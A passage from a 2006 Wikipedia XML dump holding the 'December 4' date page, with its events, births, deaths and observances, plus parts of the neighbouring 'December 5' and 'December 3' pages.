[[nap:5 'e dicembre]]
[[war:Disyembre 5]]
[[pam:Disiembri 5]]

[[af:5 Desember]]
[[ar:5 ديسمبر]]
[[an:5 d'abiento]]
[[ast:5 d'avientu]]
[[bg:5 декември]]
[[be:5 сьнежня]]
[[bs:5. decembar]]
[[ca:5 de desembre]]
[[cv:Раштав, 5]]
[[co:5 di decembre]]
[[cs:5. prosinec]]
[[cy:5 Rhagfyr]]
[[da:5. december]]
[[de:5. Dezember]]
[[et:5. detsember]]
[[el:5 Δεκεμβρίου]]
[[es:5 de diciembre]]
[[eo:5-a de decembro]]
[[eu:Abenduaren 5]]
[[fo:5. desember]]
[[fr:5 décembre]]
[[fy:5 desimber]]
[[ga:5 Nollaig]]
[[gl:5 de decembro]]
[[ko:12월 5일]]
[[hr:5. prosinca]]
[[io:5 di decembro]]
[[id:5 Desember]]
[[ia:5 de decembre]]
[[is:5. desember]]
[[it:5 dicembre]]
[[he:5 בדצמבר]]
[[jv:5 Desember]]
[[ka:5 დეკემბერი]]
[[csb:5 gòdnika]]
[[ku:5'ê berfanbarê]]
[[la:5 Decembris]]
[[lt:Gruodžio 5]]
[[lb:5. Dezember]]
[[hu:December 5]]
[[mk:5 декември]]
[[ms:5 Disember]]
[[nl:5 december]]
[[ja:12月5日]]
[[no:5. desember]]
[[nn:5. desember]]
[[oc:5 de decembre]]
[[os:5 декабры]]
[[pl:5 grudnia]]
[[pt:5 de Dezembro]]
[[ro:5 decembrie]]
[[ru:5 декабря]]
[[se:Juovlamánu 5.]]
[[sco:5 December]]
[[sq:5 Dhjetor]]
[[scn:5 di dicèmmiru]]
[[simple:December 5]]
[[sk:5. december]]
[[sl:5. december]]
[[sr:5. децембар]]
[[fi:5. joulukuuta]]
[[sv:5 december]]
[[tl:Disyembre 5]]
[[tt:5. Dekäber]]
[[te:డిసెంబర్ 5]]
[[th:5 ธันวาคม]]
[[vi:5 tháng 12]]
[[tr:5 Aralık]]
[[uk:5 грудня]]
[[wa:5 di decimbe]]
[[zh:12月5日]]</text>
    </revision>
  </page>
  <page>
    <title>December 4</title>
    <id>8354</id>
    <revision>
      <id>42096681</id>
      <timestamp>2006-03-03T20:28:27Z</timestamp>
      <contributor>
        <ip>167.127.107.11</ip>
      </contributor>
      <comment>/* Births */</comment>
      <text xml:space="preserve">&lt;!-- language links at bottom --&gt;
'''December 4''' is the 338th day (339th on [[leap year]]s) of the [[Gregorian calendar]]. There are 27 days remaining.

{{DecemberCalendar}}

==Events==
*[[771]] -  [[Austrasia]]n King [[Carloman,_son_of_Pippin_III|Carloman]] dies, leaving his brother [[Charlemagne]] King of the now complete [[Frankish]] Kingdom. 
*[[1110]] - [[First Crusade]]: The [[Crusade]]rs conquer [[Sidon]].
*[[1259]] - Kings [[Louis IX of France]] and [[Henry III of England]] agree to the [[Treaty of Paris (1259)|Treaty of Paris]], in which Henry renounces his claims to [[France|French]]-controlled territory on continental [[Europe]] (including [[Normandy]]) in exchange for Louis withdrawing his support for English rebels.
*[[1563]] - The final session of the [[Council of Trent]] is held (it opened on [[December 13]], [[1545]]).
*[[1619]] - 38 [[colony|colonists]] from Berkeley Parish in [[England]] disembark in [[Virginia]] and give thanks to [[God]] (this is considered to be the first [[Thanksgiving]] in the [[Americas]]).
* [[1639]] - [[Jeremiah Horrocks]] made the first observation of a [[transit of Venus]]. ([[November 24]] under the [[Julian calendar]].)
*[[1674]] - Father [[Jacques Marquette]] founds a mission on the shores of [[Lake Michigan]] to minister to the [[Illiniwek]] (the mission would later grow into the city of [[Chicago, Illinois]]).
*[[1676]] - [[Battle of Lund]]: A Danish army under the command of King [[Christian V of Denmark]] engages the Swedish army commanded by Field Marshal [[Simon Grundel-Helmfelt]].
*[[1783]] - At Fraunces Tavern in [[New York City]], US General [[George Washington]] formally bids his officers farewell.
*[[1791]] - The first issue of ''[[The Observer]]'', the world's first Sunday [[newspaper]], is published.
*[[1829]] - In the face of fierce opposition, [[United Kingdom|British]] governor [[Lord William Bentinck]] carries a regulation declaring that all who abetted [[suttee]] in [[India]] were guilty of culpable [[homicide]].
*[[1864]] - [[American Civil War]]: [[Sherman's March to the Sea]] - At [[Waynesboro, Georgia]], forces under [[United States|Union]] General [[Judson Kilpatrick]] prevent troops led by [[Confederate States of America|Confederate]] General [[Joseph Wheeler]] from interfering with Union General [[William T. Sherman]]'s campaign destroying a wide swath of the South on his march to the [[Atlantic Ocean]] from Atlanta (Union forces did suffer more than three times the Confederate casualties, however).
*[[1867]] - Former [[Minnesota]] farmer [[Oliver Hudson Kelley]] founds the Order of the Patrons of Husbandry (better known today as the [[Grange movement]]).
*[[1872]] - The crewless [[United States|American]] ship ''[[Mary Celeste]]'' is found by the [[United Kingdom|British]] brig ''Dei Gratia'' (the ship was abandoned for 9 days but was only slightly damaged).
*[[1875]] - Notorious [[New York City]] politician [[Boss Tweed]] escapes from prison and flees to [[Cuba]], then [[Spain]].
*[[1906]] - [[Alpha Phi Alpha]] Fraternity Inc., the first intercollegiate Greek-letter [[fraternity]] in the United States established for men of African descent, was founded at [[Cornell University]]. 
*[[1918]] - US President [[Woodrow Wilson]] sails for the [[World War I]] peace talks in [[Versailles]], becoming the first [[United States|US]] president to travel to [[Europe]] while in office.
*[[1921]] - The [[Virginia Rappe]] [[manslaughter]] trial against [[Roscoe 'Fatty' Arbuckle]] ends in a hung [[jury]]. 
*[[1942]] - [[Holocaust]]: In [[Warsaw]], [[Zofia Kossak-Szczucka]] and Wanda Filipowicz set up [[Żegota]].
*[[1943]] - [[World War II]]: In [[Kingdom of Yugoslavia|Yugoslavia]], resistance leader [[Marshal Tito]] proclaims a provisional democratic Yugoslav government in-exile.
*1943 - US President [[Franklin D. Roosevelt]] closes the [[Works Progress Administration]].
*[[1945]] - By a vote of 65 to 7, the [[United States Senate]] approves [[United States]] participation in the [[United Nations]] (the UN was established on [[October 24]], 1945).
*[[1951]] - Mir Waiz Maulvi Muhammad Yusouf appointed President of [[Azad Kashmir]] Government.
*[[1952]] - [[Great Smog of 1952]]: A cold fog descends upon London, combining with air pollution and killing up to 12,000 in the weeks and months that follow.
*[[1958]] - [[Dahomey]] (present-day [[Benin]]) becomes a self-governing country within the [[French Community]]. 
*[[1967]] - [[Vietnam War]]: [[United States|US]] and [[South Vietnam]]ese forces engage [[Viet Cong]] troops in the [[Mekong Delta]].
*[[1969]] - [[Black Panther Party|Black Panther]] members [[Fred Hampton]] and [[Mark Clark (Black Panther)|Mark Clark]] are shot and killed in their sleep during a raid by 14 [[Chicago, Illinois|Chicago]] police officers.
*1969 - Surfer [[Greg Noll]] rides a 65-foot [[wave]] on the [[North Shore of Oahu]], still the highest ever recorded.
*[[1971]] - [[UN]] Security Council calls emergency session to consider deteriorating situation between [[India]] and [[Pakistan]].
*[[1977]] - [[Jean-Bédel Bokassa]], president of the [[Central African Republic]], crowns himself Emperor Bokassa I of the [[Central African Empire]].
*1977 - [[Malaysia Airlines Flight 653]] is hijacked and crashes in  Tanjong Kupang, [[Johor]], killing 100.
*[[1978]] - Following the murder of Mayor [[George Moscone]], [[Dianne Feinstein]] becomes [[San Francisco, California]]'s first woman mayor (she served until [[January 8]], [[1988]]).
*[[1979]] - The Hastie fire in [[Kingston upon Hull|Hull]], kills three schoolboys and eventually leads police to arrest [[Bruce George Peter Lee]].
*[[1980]] - The rock group Led Zeppelin formally announce their breakup.
*[[1981]] - [[South Africa]] grants &quot;homeland&quot; [[Ciskei]] independence (not recognized outside South Africa).
*[[1982]] - The [[People's Republic of China]] adopts its current [[constitution of the People's Republic of China|constitution]].
*[[1991]] - Journalist [[Terry Anderson]] is released after 7 years in captivity as a hostage in [[Beirut]] (he was the last and longest-held American hostage in [[Lebanon]]).
*1991 - US airline [[Pan American World Airways|Pan Am]] ends operations. 
*[[1992]] - [[History of Somalia#Somali Civil War|Somali Civil War]]: President [[George H. W. Bush]] orders 28,000 [[United States|US]] troops to [[Somalia]].
*[[1993]] - A truce is concluded between the government of [[Angola]] and [[UNITA]] rebels.
*[[1994]] - [[Pakistan]] wins World Hockey Championship after 12 years, beating the [[Netherlands]] by four goals to three, in [[Sydney]]. 
*[[1998]] - ''[[Unity Module|Unity]]'', the second module of the [[International Space Station]], is launched.
*[[2005]] - tens of thousands of people in [[Hong Kong]] [[December 2005 protest for democracy in Hong Kong|protested for democracy]] and called on the [[Hong Kong Government|Government]] to allow [[universal suffrage|universal and equal suffrage]].

==Births==
*[[1555]] - [[Heinrich Meibom (poet)|Heinrich Meibom]], German historian and poet (d. [[1625]])
*[[1580]] - [[Samuel Argall]], English adventurer and naval officer (d. [[1626]])
*[[1585]] - [[John Cotton]], American Puritan leader (d. [[1652]])
*[[1595]] - [[Jean Chapelain]], French writer (d. [[1674]])
*[[1612]] - [[Samuel Butler (1612-1680)|Samuel Butler]], English poet (d. [[1680]])
*[[1660]] - [[André Campra]], French composer (d. [[1744]])
*[[1670]] - [[John Aislabie]], English politician (d. [[1742]])
*[[1713]] - [[Gasparo Gozzi]], Italian critic and dramatist (d. [[1786]])
*[[1777]] - [[Madame Recamier|Madame Récamier]], French writer (d. [[1849]])
*[[1795]] - [[Thomas Carlyle]], British writer and historian (d. [[1881]])
*[[1798]] - [[Jules Armand Dufaure]], French statesman (d. [[1881]])
*[[1835]] - [[Samuel Butler (1835-1902)|Samuel Butler]], British writer (d. [[1902]])
*[[1849]] - [[Crazy Horse (person)|Crazy Horse]], Oglala Sioux chief (d. [[1877]])
*[[1852]] - [[Orest Khvolson]], Russian physicist (d. [[1934]])
*[[1861]] - [[Lillian Russell]], American singer and actress (d. [[1922]])
*[[1866]] (O.S.) - [[Wassily Kandinsky]], Russian-born abstract painter (d. [[1944]])
*[[1875]] - [[Rainer Maria Rilke]], Austrian poet (d. [[1926]])
*[[1892]] - [[Francisco Franco]], dictator of Spain (d. [[1975]])
*[[1895]] - [[Fung Yu-lan]], Chinese philosopher (d. [[1990]])
*[[1903]] - [[Cornell Woolrich]], American writer (d. [[1968]])
*[[1908]] - [[Alfred Hershey]], American bacteriologist, recipient of the [[Nobel Prize in Physiology or Medicine]] (d. [[1997]])
*[[1912]] - [[Pappy Boyington]], American pilot (d. [[1988]])
*[[1914]] - [[Rudolf Hausner]], Austrian artist (d. [[1995]])
*[[1916]] - [[Ely Jacques Kahn, Jr.]], American writer (d. [[1994]])
*[[1921]] - [[Deanna Durbin]], Canadian actress and singer
*[[1922]] - [[Gerard Philipe|Gérard Philipe]], French actor (d. [[1959]])
*[[1931]] - [[Alex Delvecchio]], Canadian hockey player
*[[1934]] - [[Victor French]], American actor (d. [[1989]])
*1934 - [[Wink Martindale]], American game show host
*[[1937]] - [[Max Baer, Jr.]], American actor, screenwriter, director, and producer
*[[1938]] - [[Yvonne Minton]], Australian soprano
*[[1939]] - [[Freddy Cannon]], American musician
*[[1940]] - [[John Cale]], Welsh classical and rock musician and multi-instrumentalist for [[The Velvet Underground]] 
*[[1942]] - [[Gemma Jones]], British actress
*1942 - [[Roh Tae-woo]], [[President of South Korea]]
*[[1944]] - [[Dennis Wilson]], American musician and singer ([[The Beach Boys]]) (d. [[1983]])
*[[1945]] - [[Roberta Bondar]], Canadian astronaut and scientist 
*[[1949]] - [[Jeff Bridges]], American actor
*[[1953]] - [[Rick Middleton]], Canadian [[ice hockey]] player
*[[1955]] - [[Dave Taylor (hockey)|Dave Taylor]], Canadian ice hockey player
*[[1957]] - [[Eric S. Raymond]], American open source advocate
*[[1958]] - [[Steve Sailer]], American political commentator
*[[1960]] - [[Glynis Nunn]], Australian athlete
*[[1961]] - [[Frank Reich]], American football player
*[[1963]] - [[Sergei Bubka]], Ukrainian pole vaulter
*[[1964]] - [[Marisa Tomei]], American actress
*[[1966]] - [[Fred Armisen]], American actor and musician
*[[1969]] - [[Lucas Radebe]], South-african footballer
*1969 - [[Jay-Z]] (Shawn Carter), American rapper
*[[1972]] - [[Nikki Tyler]], American actress
*[[1973]] - [[Tyra Banks]], American model
*[[1979]] - [[Brennan M. Pettis]], Allstar

==Deaths==
*[[765]] - [[Jafar Sadiq]], Shia Imam (b. [[702]])
*[[771]] - [[Carloman, son of Pippin III|Carloman]], King of the Franks (b. [[751]])
*[[1075]] - [[Archbishop Anno II]] of Cologne
*[[1123]] - [[Omar Khayyám]], Persian poet, astronomer, mathematician, and philosopher (b. [[1048]])
*[[1214]] - [[William I of Scotland]]
*[[1270]] - [[Theobald V of Champagne]], King of Navarre
*[[1334]] - [[Pope John XXII]] (b. [[1249]])
*[[1340]] - [[Henry Burghersh]], English bishop and chancellor (b. [[1292]])
*[[1459]] - [[Adolf VIII]], Duke of Southern Jutland (b. [[1401]])
*[[1576]] - [[Rheticus]], Austrian mathematician (b. [[1514]])
*[[1585]] - [[John Willock]], Scottish reformer
*[[1609]] - [[Alexander Hume]], Scottish poet
*[[1642]] - [[Armand Jean du Plessis, Cardinal Richelieu]], French statesman (b. [[1585]])
*[[1649]] - [[William Drummond of Hawthornden]], Scottish poet (b. [[1585]])
*[[1679]] - [[Thomas Hobbes]], English philosopher (b. [[1588]])
*[[1680]] - [[Thomas Bartholin]], Danish physician, mathematician, and theologian (b. [[1616]])
*[[1696]] - [[Empress Meisho of Japan]] (b. [[1624]])
*[[1732]] - [[John Gay]], British playwright (b. [[1685]])
*[[1784]] - [[Wiseman Claget]], British classical scholar (b. [[1721]])
*[[1798]] - [[Luigi Galvani]], Italian physicist (b. [[1737]])
*[[1845]] - [[Gregor MacGregor]], British con-artist
*[[1926]] - [[Ivana Kobilca]], Slovenian-born painter (b. [[1861]])
*[[1933]] - [[Stefan George]], German poet (b. [[1868]])
*[[1935]] - [[Johan Halvorsen]], Norwegian composer (b. [[1864]])
*1935 - [[Charles Robert Richet]], French physiologist, [[Nobel Prize in Physiology or Medicine|Nobel Prize]] laureate (b. [[1850]])
*[[1945]] - [[Thomas Hunt Morgan]], American geneticist, recipient of the [[Nobel Prize in Physiology or Medicine]] (b. [[1866]])
*[[1956]] - [[Alexandr Rodchenko]], Russian painter and photographer (b. [[1891]])
*[[1967]] - [[Bert Lahr]], American actor (b. [[1895]])
*[[1976]] - [[Tommy Bolin]], American guitarist (b. [[1951]])
*1976 - [[Benjamin Britten]], British composer (b. [[1913]])
*[[1980]] - [[Francisco Sá Carneiro]], [[Prime Minister of Portugal]] (b. [[1934]])
*1980 - [[Stanislawa Walasiewicz]], Polish-born athlete (b. [[1911]])
*[[1993]] - [[Frank Zappa]], American musician and composer (b. [[1940]])
*[[1997]] - [[Richard Vernon]], British actor (b. [[1925]])
*[[2005]] - [[Gregg Hoffman]], American film producer (b. [[1963]])

==Holidays and observances==
*[[Roman festivals]] - secret ceremonies in honor of [[Bona Dea]]
*[[Calendar of Saints|R.C. Saints]] - Saint [[John of Damascus]]: optional memorial; also [[Saint Barbara]]
* Also see [[December 4 (Eastern Orthodox liturgics)]]
*[[Santería]], [[Lukumí]] - Day of [[Shango]]
*International Hug Day. See Also: [[January 21]]st, [[National Hugging Day]]

==External links==
* [http://news.bbc.co.uk/onthisday/hi/dates/stories/december/4 BBC: On This Day]

----
[[December 3]] - [[December 5]] - [[November 4]] - [[January 4]] — [[historical anniversaries|listing of all days]]

{{months}}

[[af:4 Desember]]
[[ar:4 ديسمبر]]
[[an:4 d'abiento]]
[[ast:4 d'avientu]]
[[bg:4 декември]]
[[be:4 сьнежня]]
[[bs:4. decembar]]
[[ca:4 de desembre]]
[[ceb:Disyembre 4]]
[[cv:Раштав, 4]]
[[co:4 di decembre]]
[[cs:4. prosinec]]
[[cy:4 Rhagfyr]]
[[da:4. december]]
[[de:4. Dezember]]
[[et:4. detsember]]
[[el:4 Δεκεμβρίου]]
[[es:4 de diciembre]]
[[eo:4-a de decembro]]
[[eu:Abenduaren 4]]
[[fo:4. desember]]
[[fr:4 décembre]]
[[fy:4 desimber]]
[[ga:4 Nollaig]]
[[gl:4 de decembro]]
[[ko:12월 4일]]
[[hr:4. prosinca]]
[[io:4 di decembro]]
[[id:4 Desember]]
[[ia:4 de decembre]]
[[is:4. desember]]
[[it:4 dicembre]]
[[he:4 בדצמבר]]
[[jv:4 Desember]]
[[ka:4 დეკემბერი]]
[[csb:4 gòdnika]]
[[ku:4'ê berfanbarê]]
[[la:4 Decembris]]
[[lt:Gruodžio 4]]
[[lb:4. Dezember]]
[[hu:December 4]]
[[mk:4 декември]]
[[ms:4 Disember]]
[[nap:4 'e dicembre]]
[[nl:4 december]]
[[ja:12月4日]]
[[no:4. desember]]
[[nn:4. desember]]
[[oc:4 de decembre]]
[[pl:4 grudnia]]
[[pt:4 de Dezembro]]
[[ro:4 decembrie]]
[[ru:4 декабря]]
[[se:Juovlamánu 4.]]
[[sco:4 December]]
[[sq:4 Dhjetor]]
[[scn:4 di dicèmmiru]]
[[simple:December 4]]
[[sk:4. december]]
[[sl:4. december]]
[[sr:4. децембар]]
[[fi:4. joulukuuta]]
[[sv:4 december]]
[[tl:Disyembre 4]]
[[tt:4. Dekäber]]
[[te:డిసెంబర్ 4]]
[[th:4 ธันวาคม]]
[[vi:4 tháng 12]]
[[tr:4 Aralık]]
[[uk:4 грудня]]
[[wa:4 di decimbe]]
[[war:Disyembre 4]]
[[zh:12月4日]]
[[pam:Disiembri 4]]</text>
    </revision>
  </page>
  <page>
    <title>December 3</title>
    <id>8355</id>
    <revision>
      <id>42007402</id>
      <timestamp>2006-03-03T04:35:26Z</timestamp>
      <contributor>
        <username>Rklawton</username>
        <id>754622</id>
      </contributor>
      <comment>/* Births */ removed non-noteable</comment>
      <text xml:space="preserve">&lt;!-- language links at the bottom of this page --&gt;
'''[[December 3]]''' is the 337th (in [[leap year]]s the 338th) day of the year in the [[Gregorian calendar]]. There are 28 days remaining.

{{DecemberCalendar}}

==Events==
*[[1805]] - [[Lewis and Clark Expedition]] mark their explorations from the [[Missouri River]] overland to the [[Columbia River]] on a [[pine]] tree.  
*[[1818]] - [[Illinois]] becomes the 21st [[U.S. state]]. 
*[[1828]] - In the [[U.S. presidential election, 1828|U.S. Presidential election]], challenger [[Andrew Jackson]] beats incumbent [[John Quincy Adams]] and is elected [[President of the United States]].
*[[1854]] - [[Eureka Stockade]]: In what is claimed by many to be the birth of Australian democracy, more than 20 goldminers at [[Ballarat, Victoria|Ballarat]], [[Victoria (Australia)|Victoria]], [[Australia]] are killed by state troopers in an uprising over mining licences. 
*[[1901]] - US President [[Theodore Roosevelt]] delivers a 20,000-word speech to the [[United States House of Representatives|House of Representatives]] asking Congress curb the power of [[trust]]s &quot;within reasonable limits&quot;.  
*[[1904]] - The [[Jupiter's natural satellites|Jovian moon]] [[Himalia (moon)|Himalia]] is discovered by [[Charles Dillon Perrine]] at California's [[Lick Observatory]].
*[[1912]] - [[Bulgaria]], [[Greece]], [[Montenegro]], and [[Serbia]] (the [[Balkan League]]) sign an armistice with [[Turkey]], ending the two-month long First [[Balkan Wars|Balkan War]].  
*[[1917]] - After nearly 20 years of planning and construction, the [[Quebec Bridge]] opens to traffic.
*[[1925]] - [[George Gershwin]]'s ''Piano Concerto in F'' is premiered at [[Carnegie Hall]].   
*[[1929]] - [[Great Depression]]: US President [[Herbert Hoover]] announces to the [[Congress of the United States|U.S. Congress]] that the worst effects of the recent [[stock market]] crash are behind the nation and the American people have regained faith in the [[economics|economy]].
*[[1936]] - [[New York City]] radio station [[WQXR]] is officially founded.
*[[1937]] - ''[[The Dandy]]'', the world's longest-running comic, is first published.
*[[1944]] - The [[Greek Civil War]] breaks out in a newly-liberated [[Greece]], between [[Communism|communists]] and [[monarchist|royalists]]. 
*[[1947]] - [[Tennessee Williams]]' play ''[[A Streetcar Named Desire]]'' opens on [[Broadway theatre|Broadway]].
*[[1953]] - The [[Sino-American Mutual Defense Treaty]], between the [[United States]] and the [[Republic of China]], is signed in [[Washington, DC]].  
*[[1964]] - [[Berkeley Free Speech Movement]]: Police arrest over 800 students at the [[University of California, Berkeley]], following their takeover and sit-in at the administration building in protest at the UC Regents' decision to forbid protests on UC property.  
*[[1967]] - At [[Groote Schuur Hospital]] in [[Cape Town]], [[South Africa]], a transplant team headed by [[Christiaan Barnard]] carries out the first [[heart transplant]] on a human (53-year-old [[Louis Washkansky]]).   
*1967 - The luxury train [[20th Century Limited]] completes its last run from [[New York City]] to [[Chicago]] (the train was inaugurated on [[June 15]], [[1902]]).  
*[[1970]] - [[October Crisis]]: In [[Montreal, Quebec]], kidnapped British Trade Commissioner [[James Cross]] is released by the [[Front de Libération du Québec]] terrorist group after being held hostage for 60 days. Police negotiate his release and in return the Canadian government grants five terrorists from the FLQ's Chenier Cell their request for safe passage to [[Cuba]]. 
*[[1971]] - [[Indo-Pakistani War of 1971]]: After [[Pakistan]] launches airstrikes on Indian airfields, [[India]] retaliates by invading [[East Pakistan]].
*[[1973]] - [[Pioneer program]]: [[Pioneer 10]] sends back the first close-up images of [[Jupiter (planet)|Jupiter]].  
*[[1976]] - [[Patrick Hillery]] becomes the sixth [[President of Ireland]].
*1976 - The [[Sex Pistols]] begin their controversial UK tour, where they are banned from performing at many venues.
*[[1979]] - In [[Cincinnati, Ohio]], eleven fans are killed during a stampede for seats before a [[The Who|Who]] concert at [[U.S. Bank Arena|Riverfront Coliseum]].  
*[[1982]] - A soil sample is taken from [[Times Beach, Missouri]] that will be found to contain 300 times the safe level of [[dioxin]]. 
*[[1984]] - [[Bhopal Disaster]]: A [[methyl isocyanate]] leak from a [[Union Carbide]] pesticide plant in [[Bhopal]], [[India]], kills more than 3,800 people outright and injures 150,000-600,000 others (some 6,000 of whom would later die from their injuries) in one of the worst industrial disasters in history.  
*[[1989]] - [[Cold War]]: In a meeting off the coast of [[Malta]], US President [[George H. W. Bush]] and Soviet leader [[Mikhail Gorbachev]] release statements indicating that the [[cold war]] between their nations may be coming to an end (some commentators from both nations exaggerated the wording and independently declared the Cold War over). 
*[[1990]] - At [[Detroit Metropolitan Airport]], Northwest Airlines Flight 1482 collides with Northwest Airlines Flight 299 on the runway, killing 8 passengers and 4 crew members aboard flight 1482.  
*1990 - Government of [[Pakistan]] formed National Highway Authority.
*[[1992]] - [[UN Security Council Resolution 794]] is unanimously passed, approving  a coalition of [[United Nations]] peacekeepers led by the [[United States]] to form [[UNITAF]], tasked with establishing peace and ensuring that humanitarian aid is distributed in [[Somalia]]. 
*1992 - The Greek [[oil tanker]] ''Aegean Sea'', carrying 80,000 tonnes of [[crude oil]], runs aground in a storm while approaching [[A Coruña (province)|La Coruña]], [[Spain]], and spills much of its cargo.  
*[[1997]] - In [[Ottawa]], [[Canada]], representatives from 121 countries sign a [[treaty]] prohibiting manufacture and deployment of anti-personnel [[landmines]]. The [[United States]], [[People's Republic of China]], and [[Russia]] do not sign the treaty, however.    
*[[1999]] - [[NASA]] loses radio contact with the [[Mars Polar Lander]] moments before the spacecraft enters the [[Mars (planet)|Martian]] atmosphere.
*[[2005]] - International Day of Action On Climate Change, to mark the first meeting of the Parties to the [[Kyoto Protocol]]. Includes [http://en.wikinews.org/wiki/Thousands_demand_climate_change_action| rallies in Australia].
*2005 - [[XCOR Aerospace]] makes first manned rocket aircraft delivery of US Mail in Mojave, California.
*2005 - [[Adobe Systems]] acquires the company Macromedia, Inc.

==Births==
*[[1368]] - King [[Charles VI of France]] (d. [[1422]])
*[[1560]] - [[Jan Gruter]], Dutch critic (d. [[1627]])
*[[1596]] - [[Nicolo Amati]], Italian violin maker (d. [[1684]])
*[[1684]] - [[Ludvig Holberg]], Norwegian historian and writer (d. [[1754]])
*[[1755]] - [[Gilbert Stuart]], American painter (d. [[1828]])
*[[1776]] - [[Johann Spurzheim]], German neuroscientist (d. [[1832]])
*[[1800]] - [[France Prešeren]], Slovenian poet (d. [[1849]])
*[[1826]] - [[George McClellan]], U.S. Civil War general (d.  [[1885]])
*[[1838]] - [[Cleveland Abbe]], American meteorologist (d. [[1916]])
*1838 - [[Octavia Hill]], British housing and open-space activist (d. [[1912]])
*[[1842]] - [[Ellen Swallow Richards]], American scientist (d. [[1911]])
*[[1857]] - [[Joseph Conrad]], Polish-born British writer (d. [[1924]])
*[[1883]] - [[Anton Webern]], Austrian composer (d. [[1945]])
*[[1884]] - [[Rajendra Prasad]], first [[President of India]] (d. [[1963]])
*[[1886]] - [[Manne Siegbahn]], Swedish physicist and [[Nobel Prize in Physics|Nobel Prize]] laureate (d. [[1978]])
*[[1895]] - [[Anna Freud]], Austrian-born British psychoanalyst (d. [[1982]])
*[[1899]] - [[Ikeda Hayato]], [[Prime Minister of Japan]] (d. [[1965]])
*[[1900]] - [[Ulrich Inderbinen]], Swiss mountain guide (d. [[2004]])
*1900 - [[Richard Kuhn]], Austrian biochemist and [[Nobel Prize in Chemistry|Nobel Prize]] laureate (d. [[1967]])
*[[1911]] - [[Nino Rota]], Italian composer (d. [[1979]])
*[[1921]] - [[Phyllis Curtin]], American soprano
*[[1922]] - [[Sven Nykvist]], Swedish cinematographer
*[[1925]] - [[Ferlin Husky]], American singer
*1925 - [[Kim Dae-jung]], [[President of South Korea]] and [[Nobel Peace Prize|Nobel Prize]] laureate
*[[1927]] - [[Andy Williams]], American singer
*[[1930]] - [[Jean-Luc Godard]], French film director
*[[1931]] - [[Franz Josef Degenhardt]], German author and singer
*[[1932]] - [[Corry Brokken]], Dutch singer
*[[1933]] - [[Paul J. Crutzen]], Dutch chemist and [[Nobel Prize in Chemistry|Nobel Prize]] laureate
*[[1934]] - [[Viktor Gorbatko]], Soviet cosmonaut
*[[1937]] - [[Bobby Allison]], American race car driver
*[[1942]] - [[Alice Schwarzer]], German journalist
*[[1946]] - [[Joop Zoetemelk]], Dutch cyclist, World Cycling Champion and Olympic gold medalist
*[[1948]] - [[Ozzy Osbourne]], British singer
*[[1949]] - [[John Akii-Bua]], Ugandan athlete and Olympic gold medalist (d. [[1997]])
*1949 - [[Mickey Thomas]], American singer ([[Jefferson Starship]])
*[[1951]] - [[Rick Mears]], American race car driver
*[[1953]] - [[Franz Klammer]], Austrian skier
*[[1955]] - [[Steven Culp]], American actor
*[[1959]] - [[Eamonn Holmes]], Northern Irish television presenter
*[[1960]] - [[Daryl Hannah]], American actor
*1960 - [[Igor Larionov]], Russian ice hockey player
*1960 - [[Julianne Moore]], American actor
*[[1965]] - [[Steve Harris (actor)|Steve Harris]], American actor
*1965 - [[Katarina Witt]], German figure skater, World Figure Skating Champion and Olympic gold medalist
*[[1968]] - [[Brendan Fraser]], American actor
*[[1970]] - [[Christian Karembeu]], [[France national football team|French]] international footballer and World Cup winner
*[[1972]] - [[Bucky Lasek]], Proffesional Skateboarder
*[[1973]] - [[Holly Marie Combs]], American actress
*[[1977]] - [[Adam Małysz]], Polish ski-jumper
*[[1979]] - [[Rainbow Sun Francks]], Canadian actor
*[[1980]] - [[Anna Chlumsky]], American actress
*[[1985]] - [[Amanda Seyfried]], American actress
*[[2005]] - [[Prince Sverre Magnus of Norway]]

==Deaths==
*[[1048]] - [[Al-Biruni]], mathematician
*[[1154]] - [[Pope Anastasius IV]]
*[[1265]] - [[Odofredus]], Italian jurist
*[[1533]] - [[Vasili III]], Grand Prince of Moscow (b. [[1479]])
*[[1610]] - [[Honda Tadakatsu]], Japanese general (b. [[1548]])
*[[1765]] - [[Lord John Philip Sackville]], British cricketer (b. [[1713]])
*[[1789]] - [[Claude Joseph Vernet]], French painter (b. [[1714]])
*[[1815]] - [[John Carroll]], first Roman Catholic archbishop in the U.S. (b. [[1735]])
*[[1882]] - [[Archibald Campbell Tait]], [[Archbishop of Canterbury]] (b. [[1811]])
*[[1888]] - [[Carl Zeiss]], German lens maker (b. [[1816]])
*[[1892]] - [[Afanasy Fet]], Russian poet (b. [[1820]])
*[[1894]] - [[Robert Louis Stevenson]], British writer (b. [[1850]])
*[[1902]] - [[Robert Lawson (architect)|Robert Lawson]], New Zealand architect (b. [[1833]])
*[[1912]] - [[Prudente José de Morais Barros]], [[President of Brazil]] (b. [[1841]])
*[[1919]] - [[Pierre-Auguste Renoir]], French impressionist painter (b. [[1841]])
*[[1941]] - [[Christian Sinding]], Norwegian composer (b. [[1856]])
*[[1949]] - [[Maria Ouspenskaya]], Russian-born American actress (b. [[1876]])
*[[1972]] - [[Bill Johnson (jazz musician)|Bill Johnson]], American musician (b. [[1872]])
*[[1973]] - [[Emile Christian]], American musician (b. [[1895]])
*[[1979]] - [[Dhyan Chand]], Indian hockey player and Olympic gold medalist (b. [[1905]])
*[[1980]] - [[Oswald Mosley]], British politician (b. [[1896]])
*[[1996]] - [[Georges Duby]], French historian specializing in the Middle Ages (b. [[1919]])
*[[1999]] - [[Madeline Kahn]], American actress and comedian (b. [[1942]])
*1999 - [[Scatman John]], American singer (lung cancer) (b. [[1942]])
*[[2000]] - [[Gwendolyn Brooks]], American poet (b. [[1917]])
*[[2002]] - [[Glenn Quinn]], Irish actor (b. [[1970]])
*[[2003]] - [[David Hemmings]], British actor (b. [[1941]])
*[[2004]] - [[Shiing-Shen Chern]], Chinese mathematician (b. [[1911]])

==Holidays and observances==
*[[Calendar of Saints|R.C. Saints]] - memorial of [[Saint Francis Xavier]]; also Saint [[Birinus]]
*[[USA]] - admission day for [[Illinois]] (21st state, [[1818]])

==External links==
* [http://news.bbc.co.uk/onthisday/hi/dates/stories/december/3 BBC: On This Day]
* [http://www.nytimes.com/learning/general/onthisday/20051203.html The New York Times: On this Day]

----
[[December 2]] - [[December 4]] - [[November 3]] - [[January 3]] — [[historical anniversaries|listing of all days]]

{{months}}

[[af:3 Desember]]
[[ar:3 ديسمبر]]
[[an:3 d'abiento]]
[[ast:3 d'avientu]]
[[bg:3 декември]]
[[be:3 сьнежня]]
[[bs:3. decembar]]
[[ca:3 de desembre]]
[[ceb:Disyembre 3]]
[[cv:Раштав, 3]]
[[co:3 di decembre]]
[[cs:3. prosinec]]
